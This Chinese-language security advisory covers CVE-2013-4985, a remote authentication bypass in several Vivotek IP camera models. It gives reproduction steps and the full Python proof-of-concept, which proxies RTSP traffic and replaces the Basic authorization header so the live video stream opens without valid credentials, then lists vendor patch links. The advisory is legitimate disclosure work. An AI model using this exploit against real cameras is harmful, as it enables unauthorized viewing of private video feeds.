多个Vivotek网络摄像机远程身份验证绕过漏洞
信息来源:Martin Di Paola 发表日期:2013-11-15 11:42:00
Vivotek IP Cameras是款网络摄像机产品。
Vivotek IP7160 IP Camera(固件版本0105a)、Vivotek IP7160 IP Camera(固件版本0105b)、Vivotek IP7361 IP Camera (固件版本0105a)、Vivotek IP7361 IP Camera(固件版本0105b)、Vivotek IP8332 IP Camera(固件版本0105a)、Vivotek IP8332 IP Camera(固件版本0105b)受到远程身份验证绕过漏洞的影响,TCP端口554收到特制的RTSP报文时可触发此漏洞,攻击者可利用此漏洞绕过身份验证机制并获取设备的未授权访问权限。
BUGTRAQ-ID:63541
CVE-ID:2013-4985
受影响系统:
Vivotek Vivotek IP7160 IP Camera 0105b
Vivotek Vivotek IP7160 IP Camera 0105a
Vivotek Vivotek IP7361 IP Camera
Vivotek Vivotek IP8332 IP Camera
测试方法:
警 告!以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!Martin Di Paola ()提供了如下测试方法:
Set the camera RTSP authentication to \'basic\'.
(Assuming that the camera is located in 192.168.1.1) Run poc.py with these parameters: python poc.py 9999 192.168.1.1 554
Open a VLC media player and go to: Media > Open Network Stream.
Enter the following network URL: rtsp://localhost:9999/live.sdp.
A dialog box will asks for user/password, just click \'OK\'.
You should see the RTSP live video stream; i.e., the RTSP basic authentication can by bypassed by a remote attacker.
#
# poc.py
#
# The contents of this software are copyright (c) 2013 CORE Security and (c) 2013 CoreLabs,
# and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
# License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/us/">http://creativecommons.org/licenses/by-nc-sa/3.0/us/</a>
#
# THIS SOFTWARE IS PROVIDED ``AS IS\'\' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE.
#
import sys
from socket import *
from threading import Thread
import time
LOGGING = 1
def log(s):
if LOGGING:
print \'(%s) %s\' % (time.ctime(), s)
class UDPRequestHandler(Thread):
def __init__(self, data_to_send, recv_addr, dst_addr):
Thread.__init__(self)
self.data_to_send = data_to_send
self.recv_addr = recv_addr
self.dst_addr = dst_addr
def run(self):
sender = socket(AF_INET, SOCK_DGRAM)
sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
sender.sendto(self.data_to_send, self.dst_addr)
response = sender.recv(1024)
sender.sendto(response, self.recv_addr)
sender.close()
class UDPDispatcher(Thread):
dispatchers = []
def __has_dispatcher_for(self, port):
return any([d.src_port == port for d in UDPDispatcher.dispatchers])
def __init__(self, src_port, dst_addr):
Thread.__init__(self)
if self.__has_dispatcher_for(src_port):
raise Exception(\'There is already a dispatcher for port %d\' % src_port)
self.src_port = src_port
self.dst_addr = dst_addr
UDPDispatcher.dispatchers.append(self)
def run(self):
listener = socket(AF_INET, SOCK_DGRAM)
listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
listener.bind((\'\', self.src_port))
while 1:
try:
data, recv_addr = listener.recvfrom(1024)
if not data: break
UDPRequestHandler(data, recv_addr, self.dst_addr).start()
except Exception as e:
print e
break
listener.close()
UDPDispatcher.dispatchers.remove(self)
class PipeThread(Thread):
pipes = []
def __init__(self, source, sink, process_data_callback=lambda x: x):
Thread.__init__(self)
self.source = source
self.sink = sink
self.process_data_callback = process_data_callback
PipeThread.pipes.append(self)
def run(self):
while 1:
try:
data = self.source.recv(1024)
data = self.process_data_callback(data)
if not data: break
self.sink.send(data)
except Exception as e:
log(e)
break
PipeThread.pipes.remove(self)
class TCPTunnel(Thread):
def __init__(self, src_port, dst_addr, process_data_callback=lambda x: x):
Thread.__init__(self)
log(\'[*] Redirecting: localhost:%s -> %s:%s\' % (src_port, dst_addr[0], dst_addr[1]))
self.dst_addr = dst_addr
self.process_data_callback = process_data_callback
# Create TCP listener socket
self.sock = socket(AF_INET, SOCK_STREAM)
self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
self.sock.bind((\'\', src_port))
log(\'[*] Check live stream in <a href="rtsp://localhost:%d/live.sdp">rtsp://localhost:%d/live.sdp</a>\' % src_port)
self.sock.listen(5)
def run(self):
while 1:
# Wait until a new connection arises
newsock, address = self.sock.accept()
# Create forwarder socket
fwd = socket(AF_INET, SOCK_STREAM)
fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
fwd.connect(self.dst_addr)
# Pipe them!
PipeThread(newsock, fwd, self.process_data_callback).start()
PipeThread(fwd, newsock, self.process_data_callback).start()
class Camera():
def __init__(self, address):
self.address = address
def get_describe_data(self):
return \'\'
class Vivotek(Camera):
def __init__(self, address):
Camera.__init__(self, address)
def get_describe_data(self):
return \'v=0\\r\\no=RTSP 836244 0 IN IP4 0.0.0.0\\r\\ns=RTSP server\\r\\nc=IN IP4 0.0.0.0\\r\\nt=0 0\\r\\na=charset:Shift_JIS\\r\\na=range:npt=0-\\r\\na=control:*\\r\\na=etag:1234567890\\r\\nm=video 0 RTP/AVP 96\\r\\nb=AS:1200\\r\\na=rtpmap:96 MP4V-ES/30000\\r\\na=control:trackID=1\\r\\na=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\\r\\nm=audio 0 RTP/AVP 97\\r\\na=control:trackID=3\\r\\na=rtpmap:97 mpeg4-generic/16000/2\\r\\na=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\\r\\n\'
class RTSPAuthByPasser():
DESCRIBE_REQ_HEADER = \'DESCRIBE rtsp://\'
UNAUTHORIZED_RESPONSE = \'RTSP/1.0 401 Unauthorized\'
SERVER_PORT_ARGUMENTS = \'server_port=\'
DEFAULT_CSEQ = 1
DEFAULT_SERVER_PORT_RANGE = \'5556-5559\'
def __init__(self, local_port, camera):
self.last_describe_req = \'\'
self.camera = camera
self.local_port = local_port
def start(self):
log(\'[!] Starting bypasser\')
TCPTunnel(self.local_port, self.camera.address, self.spoof_rtsp_conn).start()
def spoof_rtsp_conn(self, data):
auth_string = "Authorization: Basic"
if auth_string in data:
data = data.split("\\r\\n")
new_data = []
for line in data:
new_data.append(line if auth_string not in line else auth_string + " a")
data = "\\r\\n".join(new_data)
return data
if __name__ == \'__main__\':
if len(sys.argv) > 1:
listener_port = camera_port = int(sys.argv[1])
camera_ip = sys.argv[2]
if len(sys.argv) == 4:
camera_port = int(sys.argv[3])
RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start()
else:
print \'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]\'
- See more at: http://www.coresecurity.com/advisories/vivotek-ip-cameras-rtsp-authentication-bypass#sthash.Jl6BPDEn.dpuf
解决办法:安装厂商补丁
厂商补丁:
Vivotek
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.vivotek.com/
[1] http://www.vivotek.com/web/product/NetworkCameras.aspx
[2] fae@ftp.vivotek.com/Firmware/IP8332/Beta/IP8332-VVTK-0301c.flash.pkg" target="_blank">ftp://fae:fae@ftp.vivotek.com/Firmware/IP8332/Beta/IP8332-VVTK-0301c.flash.pkg
参考信息:
http://www.coresecurity.com/advisories/vivotek-ip-cameras-rtsp-authentication-bypass